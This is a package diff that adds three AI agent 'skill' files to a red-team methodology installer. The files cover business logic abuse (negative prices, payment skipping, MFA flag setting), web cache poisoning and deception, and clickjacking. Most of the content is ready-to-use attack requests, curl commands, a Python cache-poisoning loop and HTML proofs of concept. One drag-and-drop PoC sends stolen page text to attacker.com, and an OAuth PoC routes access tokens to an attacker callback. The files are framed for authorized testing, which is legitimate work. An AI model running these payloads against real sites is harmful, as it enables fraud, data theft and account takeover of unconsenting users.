rtexit-method 0.1.8 → 0.1.10

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rtexit-method",
-  "version": "0.1.8",
+  "version": "0.1.10",
   "description": "RTExit - AI-assisted Red Team methodology installer",
   "license": "MIT",
   "author": "Exit Code",

package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md

@@ -0,0 +1,190 @@
+---
+name: rt-business-logic
+description: "Business logic vulnerability skill for authorized engagements. Price manipulation via negative quantities and integer overflow, workflow sequence bypass, privilege escalation through multi-step process abuse, coupon stacking, account balance manipulation, race condition in purchases, trust boundary violations, and forced browsing past security checkpoints. Use when testing e-commerce, financial, or multi-step workflow applications."
+---
+
+# rt-business-logic — Business Logic Vulnerabilities
+
+## Overview
+
+Business logic flaws are application-specific vulnerabilities where the security control is bypassable through legitimate application functionality used in unintended ways. They can't be detected by scanners — they require understanding the intended workflow and finding deviations.
+
+---
+
+## Phase 1 — Price Manipulation
+
+```bash
+# Negative quantity → negative price → store owes you money
+POST /cart/add HTTP/1.1
+{"product_id": 5, "quantity": -100}
+
+# Integer overflow → price wraps to negative
+# 2147483647 + 1 = -2147483648 (32-bit integer overflow)
+{"quantity": 2147483648}
+
+# Modify price in transit (if not server-side validated)
+# Intercept in Burp → change price field
+{"product_id": 1, "price": 0.01, "quantity": 1}
+
+# Currency manipulation
+{"price": "1", "currency": "HUF"}  # Hungarian Forint (cheap)
+# If currency not validated → pay in weak currency
+
+# Discount code stacking
+# Apply coupon → apply same coupon again → double discount
+POST /checkout/apply-coupon {"code": "SAVE50"}
+POST /checkout/apply-coupon {"code": "SAVE50"}  # Apply twice
+```
+
+---
+
+## Phase 2 — Workflow Sequence Bypass
+
+```bash
+# Multi-step checkout — skip payment step
+# Step 1: /checkout/cart
+# Step 2: /checkout/shipping
+# Step 3: /checkout/payment
+# Step 4: /checkout/confirm
+
+# Skip payment:
+# After step 2, directly POST to /checkout/confirm
+# Some apps track steps in cookie/session — tamper with it
+curl -b "checkout_step=payment_complete" https://target.com/checkout/confirm
+
+# Password reset flow bypass
+# Step 1: Enter email → get token
+# Step 2: Enter token
+# Step 3: Set new password
+
+# Skip step 2:
+# After step 1, directly POST to step 3 with someone else's email
+POST /reset-password/set-new HTTP/1.1
+{"email": "victim@corp.com", "new_password": "hacked"}
+
+# Email verification bypass
+# Register → not verified → but directly access authenticated endpoints
+GET /dashboard HTTP/1.1
+Cookie: session=UNVERIFIED_SESSION
+```
+
+---
+
+## Phase 3 — Privilege Escalation via Logic
+
+```bash
+# Role assignment in registration
+POST /register HTTP/1.1
+{"username": "attacker", "password": "pass", "role": "admin"}
+# If role not stripped → account created with admin role
+
+# Account type upgrade bypass
+# Free → Premium: normally requires payment
+# Intercept upgrade request → remove payment_token field
+POST /upgrade HTTP/1.1
+{"plan": "premium"}  # No payment_token
+
+# Admin function discovery
+# Applications often check role at the UI level only
+# Direct API calls bypass UI checks
+GET /api/admin/users HTTP/1.1
+Cookie: session=REGULAR_USER_SESSION
+# If 200 → admin functions accessible to regular users
+```
+
+---
+
+## Phase 4 — Account & Balance Manipulation
+
+```bash
+# Withdraw more than balance (race condition + logic)
+# Two simultaneous withdrawals of full balance
+python3 race_withdraw.py --balance 1000 --withdraw 1000 --threads 10
+
+# Referral abuse
+# Refer yourself → get bonus × unlimited
+# Create account → refer → create new account → refer back → infinite loop
+
+# Free trial abuse
+# Sign up → trial expires → delete account → sign up again with same email
+# Or: slight email variations: user+1@gmail.com, user+2@gmail.com
+
+# Transfer to self with fee manipulation
+POST /transfer {"from": "A", "to": "A", "amount": 100}
+# Sending to yourself shouldn't be free — fee may apply both ways
+
+# Gift card / voucher generation
+POST /gift-cards/generate {"amount": 100}
+# If no rate limiting → generate unlimited gift cards
+```
+
+---
+
+## Phase 5 — Trust Boundary Violations
+
+```bash
+# IP-based trust
+# App trusts requests from 127.0.0.1 without auth
+curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/
+curl -H "X-Real-IP: 127.0.0.1" https://target.com/internal/
+
+# Two-factor auth logic
+# App checks if MFA was completed in session variable
+# If MFA completion flag can be set without actual MFA:
+POST /login/mfa-complete HTTP/1.1
+{"mfa_verified": true}  # Set flag directly
+
+# Email domain trust
+# Admin features for @corp.com emails
+# Register with: attacker@corp.com.evil.com (subdomain)
+# Or: find if email validation uses contains() not endsWith()
+
+# Forced browsing after partial auth
+# Login step 1 complete → session has partial_auth=true
+# App checks partial_auth for some endpoints instead of full_auth
+curl -b "partial_auth=true;user_id=admin_id" https://target.com/sensitive
+```
+
+---
+
+## Phase 6 — Logic Flaw Testing Methodology
+
+```bash
+# For each business function, ask:
+# 1. What is the INTENDED sequence of steps?
+# 2. What happens if steps are skipped/reordered?
+# 3. What are the boundary values? (0, -1, MAX_INT)
+# 4. What if multiple requests sent simultaneously?
+# 5. What if parameters are removed/modified?
+# 6. What if you use functionality in an unexpected way?
+
+# Checklist per feature:
+# □ Negative values accepted?
+# □ Zero values handled?
+# □ Maximum value overflow?
+# □ Steps required in order?
+# □ Concurrent requests race?
+# □ Role/permission bypass?
+# □ Parameter removal effect?
+# □ Cross-account data access?
+```
+
+---
+
+## Skill Levels
+
+**BEGINNER:** Negative quantity price manipulation · Forced browsing to skip workflow steps · Role parameter in registration
+
+**INTERMEDIATE:** Race condition in purchases · Multi-step workflow bypass · Trust header abuse
+
+**ADVANCED:** Integer overflow price attacks · Complex referral abuse chains · MFA logic bypass
+
+**EXPERT:** Multi-account business logic chains · State machine exploitation · Long-term trust building for multi-step compromise
+
+---
+
+## References
+
+- PortSwigger Business Logic: https://portswigger.net/web-security/logic-flaws
+- OWASP Testing Business Logic: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
+- MITRE T1078: https://attack.mitre.org/techniques/T1078/

package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md

@@ -0,0 +1,166 @@
+---
+name: rt-cache-attacks
+description: "Web cache poisoning and cache deception skill for authorized engagements. Cache poisoning via unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme), fat GET requests, cache key normalization flaws, cache deception attacks for stealing session tokens, CDN cache poisoning, DoS via cache poisoning, and parameter cloaking. Use when testing applications using caching layers (Varnish, Cloudflare, Fastly, Nginx proxy_cache)."
+---
+
+# rt-cache-attacks — Web Cache Poisoning & Cache Deception
+
+## Overview
+
+Web cache attacks exploit how caching layers store and serve responses. **Cache Poisoning**: trick the cache into storing a malicious response served to all users. **Cache Deception**: trick the cache into storing a response containing the victim's sensitive data, then retrieve it.
+
+---
+
+## Phase 1 — Cache Detection
+
+```bash
+# Detect caching headers
+curl -s -I https://target.com/ | grep -i "cache\|age\|x-cache\|cf-cache\|x-varnish"
+# X-Cache: HIT = cached
+# Age: 123 = cached for 123 seconds
+# CF-Cache-Status: HIT = Cloudflare cache hit
+# X-Varnish: 123 456 = Varnish hit
+
+# Cache key — what makes responses unique per-cache entry
+# Usually: URL + Host header (sometimes query params, cookies)
+
+# Test for unkeyed inputs (affect response but NOT cache key)
+# If adding X-Forwarded-Host changes response but not cache key → poisonable
+curl -H "X-Forwarded-Host: evil.com" https://target.com/
+```
+
+---
+
+## Phase 2 — Web Cache Poisoning
+
+```bash
+# Unkeyed header injection → poison cache with XSS/open redirect
+
+# X-Forwarded-Host poisoning
+curl -H "X-Forwarded-Host: attacker.com" https://target.com/
+# If response contains: <script src="//attacker.com/..."> → reflected → cache it
+
+# Wait for cache to store poisoned response
+# All users requesting https://target.com/ get XSS payload
+
+# X-Forwarded-Scheme poisoning
+curl -H "X-Forwarded-Scheme: http" https://target.com/
+# If redirects to: http://target.com → cache redirect → serve to all users
+
+# Fat GET — body in GET request
+curl -X GET https://target.com/ \
+  -H "Content-Length: 48" \
+  -d "param=../../admin"
+# Some caches key on URL only, ignore body → poisoned response cached
+
+# Parameter cloaking (duplicate parameters)
+# Cache sees: /search?q=normal (keyed)
+# Server sees: /search?q=normal&q=<script>alert(1)</script> (unkeyed second param)
+curl "https://target.com/search?q=normal&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E"
+```
+
+```python
+# Automated cache poisoning with param miner
+# Burp Suite → BApp Store → Param Miner
+# Active Scan → sends all unkeyed headers → finds reflections
+
+# Manual poisoning script
+import requests, time
+
+headers_to_test = [
+    "X-Forwarded-Host",
+    "X-Host",
+    "X-Forwarded-Server",
+    "X-HTTP-Method-Override",
+    "X-Original-URL",
+    "X-Rewrite-URL",
+]
+
+for header in headers_to_test:
+    r = requests.get("https://target.com/",
+                     headers={header: "attacker.com"})
+    if "attacker.com" in r.text:
+        print(f"REFLECTED: {header}")
+        # Now poison the cache
+        for _ in range(10):  # Ensure cached
+            requests.get("https://target.com/",
+                        headers={header: "attacker.com"})
+        print(f"Cache poisoned via {header}!")
+```
+
+---
+
+## Phase 3 — Web Cache Deception
+
+```bash
+# Trick cache into storing victim's authenticated response
+# Then fetch it unauthenticated
+
+# Scenario:
+# /api/profile returns victim's personal data (not cached — dynamic)
+# /profile/photo.jpg returns a photo (cached — static file)
+# Attack: /api/profile/photo.jpg  ← cache sees .jpg → caches it
+#                                    server sees /api/profile → returns user data
+
+# Step 1: Trick victim into visiting
+https://target.com/api/profile/nonexistent.jpg
+# (via phishing, stored XSS, etc.)
+
+# Step 2: Victim visits → server returns their profile data → cache stores it
+
+# Step 3: Attacker fetches same URL (no auth needed — cached)
+curl https://target.com/api/profile/nonexistent.jpg
+# Returns: victim's personal data, session tokens, etc.
+
+# Common path extensions that trigger caching:
+extensions = [".jpg", ".png", ".css", ".js", ".ico", ".gif", ".svg", ".woff"]
+for ext in extensions:
+    url = f"https://target.com/api/user/profile{ext}"
+    r = requests.get(url, cookies={"session": ATTACKER_SESSION})
+    if "X-Cache: HIT" in str(r.headers):
+        print(f"Cacheable: {url}")
+```
+
+---
+
+## Phase 4 — CDN-Specific Attacks
+
+```bash
+# Cloudflare cache poisoning
+curl -H "CF-Worker: 1" https://target.com/
+curl -H "CF-Connecting-IP: 127.0.0.1" https://target.com/
+curl -H "True-Client-IP: attacker.com" https://target.com/
+
+# Fastly cache poisoning
+curl -H "Fastly-Client-IP: 127.0.0.1" https://target.com/
+
+# Varnish — via Vary header manipulation
+# If Vary: Cookie → each cookie value = separate cache key
+# Poison specific cached variant
+
+# Cache DoS (cache poisoning for unavailability)
+# Poison cached page with 500 error or redirect to non-existent resource
+curl -H "X-Forwarded-Host: 127.0.0.1:99999" https://target.com/
+# Forces error → caches 500 response → all users get error
+```
+
+---
+
+## Skill Levels
+
+**BEGINNER:** Burp Param Miner for unkeyed header discovery · Manual reflection testing
+
+**INTERMEDIATE:** X-Forwarded-Host poisoning to XSS · Cache deception for session theft
+
+**ADVANCED:** Fat GET poisoning · Parameter cloaking · CDN-specific header abuse
+
+**EXPERT:** Response queue poisoning + cache combo · Host header injection chains · Cache DoS at scale
+
+---
+
+## References
+
+- PortSwigger Cache Poisoning: https://portswigger.net/research/practical-web-cache-poisoning
+- PortSwigger Cache Deception: https://portswigger.net/research/web-cache-entanglement
+- Param Miner: https://github.com/PortSwigger/param-miner
+- MITRE T1190: https://attack.mitre.org/techniques/T1190/

package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md

@@ -0,0 +1,227 @@
+---
+name: rt-clickjacking
+description: "Clickjacking, UI redressing, and drag-and-drop attack skill for authorized engagements. Classic clickjacking iframe overlay, multi-step clickjacking, drag-and-drop data theft, cursorjacking, touchscreen hijacking, clickjacking for CSRF bypass, and testing X-Frame-Options and Content-Security-Policy frame-ancestors. Use when testing applications that perform state-changing actions on clicks without CSRF tokens."
+---
+
+# rt-clickjacking — Clickjacking & UI Redressing
+
+## Overview
+
+Clickjacking tricks users into clicking on something different from what they perceive. An invisible iframe overlay of a target site sits on top of an attacker page — the user thinks they're clicking the attacker's UI but actually clicking the target's buttons (delete account, transfer funds, change email, authorize OAuth).
+
+---
+
+## Phase 1 — Detection
+
+```bash
+# Check X-Frame-Options header
+curl -s -I https://target.com/ | grep -i "x-frame-options\|content-security-policy"
+
+# X-Frame-Options: DENY = can't iframe at all (safe)
+# X-Frame-Options: SAMEORIGIN = can only iframe from same origin (safe)
+# No header = potentially vulnerable
+
+# CSP frame-ancestors
+# Content-Security-Policy: frame-ancestors 'none' (safe)
+# Content-Security-Policy: frame-ancestors 'self' (safe)
+# No frame-ancestors directive = check X-Frame-Options
+
+# Quick test
+cat > test_iframe.html << 'EOF'
+<iframe src="https://target.com" width="800" height="600"></iframe>
+EOF
+# Open in browser — if target renders in iframe → clickjacking possible
+```
+
+---
+
+## Phase 2 — Basic Clickjacking PoC
+
+```html
+<!-- Basic clickjacking — overlay invisible iframe over attacker button -->
+<html>
+<head>
+<style>
+#target-iframe {
+    position: absolute;
+    width: 800px;
+    height: 600px;
+    opacity: 0.0001;  /* Invisible but clickable */
+    z-index: 2;
+    top: 0; left: 0;
+}
+#decoy-button {
+    position: absolute;
+    z-index: 1;
+    top: 450px;  /* Align with target's "Delete Account" button */
+    left: 350px;
+}
+</style>
+</head>
+<body>
+<iframe id="target-iframe" src="https://target.com/settings"></iframe>
+<div id="decoy-button">
+    <button>CLICK HERE TO WIN A PRIZE!</button>
+</div>
+</body>
+</html>
+```
+
+---
+
+## Phase 3 — Multi-Step Clickjacking
+
+```html
+<!-- Some actions require multiple clicks (confirm dialog, etc.) -->
+<!-- Multi-step attack with animated decoy -->
+<html>
+<head>
+<style>
+#iframe { position:absolute; opacity:0.0001; z-index:2; width:700px; height:500px; }
+#step1 { position:absolute; z-index:1; top:300px; left:400px; }
+#step2 { position:absolute; z-index:1; top:400px; left:350px; display:none; }
+</style>
+</head>
+<body>
+<iframe id="iframe" src="https://target.com/transfer"></iframe>
+<div id="step1">
+  <button onclick="nextStep()">Click here for reward!</button>
+</div>
+<div id="step2">
+  <button>Confirm your prize</button>
+</div>
+<script>
+function nextStep() {
+    document.getElementById('step1').style.display = 'none';
+    document.getElementById('step2').style.display = 'block';
+    // Reposition iframe to align with confirmation button
+    document.getElementById('iframe').style.top = '200px';
+}
+</script>
+</body>
+</html>
+```
+
+---
+
+## Phase 4 — Drag-and-Drop Data Theft
+
+```html
+<!-- Force user to drag text from target iframe to attacker input -->
+<!-- Bypasses CSRF token (no click needed) -->
+<html>
+<head>
+<style>
+#hidden-iframe { position:absolute; opacity:0.0001; width:500px; height:300px; top:100px; left:0; }
+#drop-zone { position:absolute; z-index:10; top:100px; left:0; width:500px; height:300px;
+             background:rgba(0,0,0,0.01); }
+#display { position:absolute; top:500px; }
+</style>
+</head>
+<body>
+<!-- Target iframe with sensitive text (email, token) -->
+<iframe id="hidden-iframe" src="https://target.com/profile"></iframe>
+
+<!-- Invisible drag-from zone overlaps target text -->
+<div id="drop-zone" 
+     ondragover="event.preventDefault()"
+     ondrop="stealData(event)">
+</div>
+
+<!-- Attacker's visible "game" -->
+<div style="z-index:5">
+  <p>DRAG THE TEXT TO WIN! ↓</p>
+  <div style="border:2px dashed red; height:100px; width:300px"
+       ondragover="event.preventDefault()"
+       ondrop="captureData(event)"></div>
+</div>
+
+<script>
+function captureData(e) {
+    var stolen = e.dataTransfer.getData('text/plain');
+    fetch('https://attacker.com/collect?data=' + encodeURIComponent(stolen));
+    document.getElementById('display').innerText = "Got: " + stolen;
+}
+</script>
+</body>
+</html>
+```
+
+---
+
+## Phase 5 — Clickjacking for OAuth/Auth Bypass
+
+```html
+<!-- Clickjack OAuth "Authorize" button → grant permissions to attacker app -->
+<html>
+<style>
+#oauth-iframe {
+    position: absolute;
+    opacity: 0.0001;
+    z-index: 2;
+    width: 700px;
+    height: 700px;
+}
+#fake-button {
+    position: absolute;
+    z-index: 1;
+    top: 580px;  /* Align with OAuth "Allow" button */
+    left: 280px;
+}
+</style>
+<body>
+<iframe id="oauth-iframe"
+        src="https://idp.target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=token&scope=read:all&redirect_uri=https://attacker.com/callback">
+</iframe>
+<div id="fake-button">
+    <button>Login with Google (click to continue)</button>
+</div>
+</body>
+</html>
+<!-- Victim clicks "Login with Google" → actually clicks OAuth Allow → grants attacker app access -->
+```
+
+---
+
+## Phase 6 — Framebusting Bypass
+
+```bash
+# Some apps use JavaScript framebusting:
+# if(top !== self) { top.location = self.location }
+
+# Bypass 1: sandbox attribute (prevents framebusting JS)
+<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
+# sandbox="allow-forms" allows form submission but blocks top.location access
+
+# Bypass 2: onbeforeunload event (delays redirect)
+<html>
+<script>
+window.onbeforeunload = function() { return "Leave page?" }
+</script>
+<iframe src="https://target.com"></iframe>
+</html>
+# User clicks "Stay" → framebusting prevented
+
+# Bypass 3: HTML5 sandbox with allow-top-navigation
+<iframe sandbox="allow-top-navigation allow-scripts allow-forms" src="https://target.com"></iframe>
+```
+
+---
+
+## Skill Levels
+
+**BEGINNER:** Basic opacity iframe PoC · X-Frame-Options detection
+
+**INTERMEDIATE:** Multi-step clickjacking with repositioning · Framebusting bypass via sandbox
+
+**ADVANCED:** Drag-and-drop data theft · OAuth clickjacking · Custom alignment for specific buttons
+
+**EXPERT:** Cursorjacking · Touchscreen clickjacking on mobile · Combining with CSRF for amplified impact
+
+---
+
+## References
+
+- PortSwigger Clickjacking: https://portswigger.net/web-security/clickjacking
+- OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking
+- Drag-and-drop research: https://www.contextis.com/en/blog/data-exfiltration-via-css-injection